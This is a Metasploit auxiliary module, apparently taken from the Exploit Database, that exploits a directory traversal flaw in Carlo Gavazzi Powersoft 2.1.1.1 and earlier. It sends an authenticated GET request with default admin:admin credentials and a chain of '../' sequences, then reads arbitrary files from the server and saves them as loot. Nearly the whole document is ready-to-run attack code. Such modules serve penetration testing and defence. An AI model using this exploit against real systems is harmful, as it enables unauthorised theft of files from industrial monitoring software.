CVE-2017-20184: OffSec’s Exploit Database Archive

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Carlo Gavazzi Powersoft Directory Traversal',
            'Description'    => %q{
                This module exploits a directory traversal vulnerability
                found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability
                is triggered when sending a specially crafted GET request to the
                server. The location parameter of the GET request is not sanitized
                and the sendCommand.php script will automatically pull down any
                file requested
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://gleg.net/agora_scada_upd.shtml']
                ],
            'DisclosureDate' => 'Jan 21 2015'))

        register_options(
            [
                OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
                OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
                OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
                OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']),
                Opt::RPORT(80)
            ], self.class )
    end

    def run

    require 'base64'

    credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")

    depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "/" + ("../" * depth)

    res = send_request_raw({
        'method'    => 'GET',
        'uri'       => "#{levels}#{datastore['FILE']}?res=&valid=true",
        'headers'   =>  {
            'Authorization' =>  "Basic #{credentials}"
        },
    })

    if res and res.code == 200
        loot = res.body
        if not loot or loot.empty?
            print_status("File from #{rhost}:#{rport} is empty...")
            return
        end
        file = ::File.basename(datastore['FILE'])
        path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
        print_status("Stored #{datastore['FILE']} to #{path}")
        return
    end

    end
end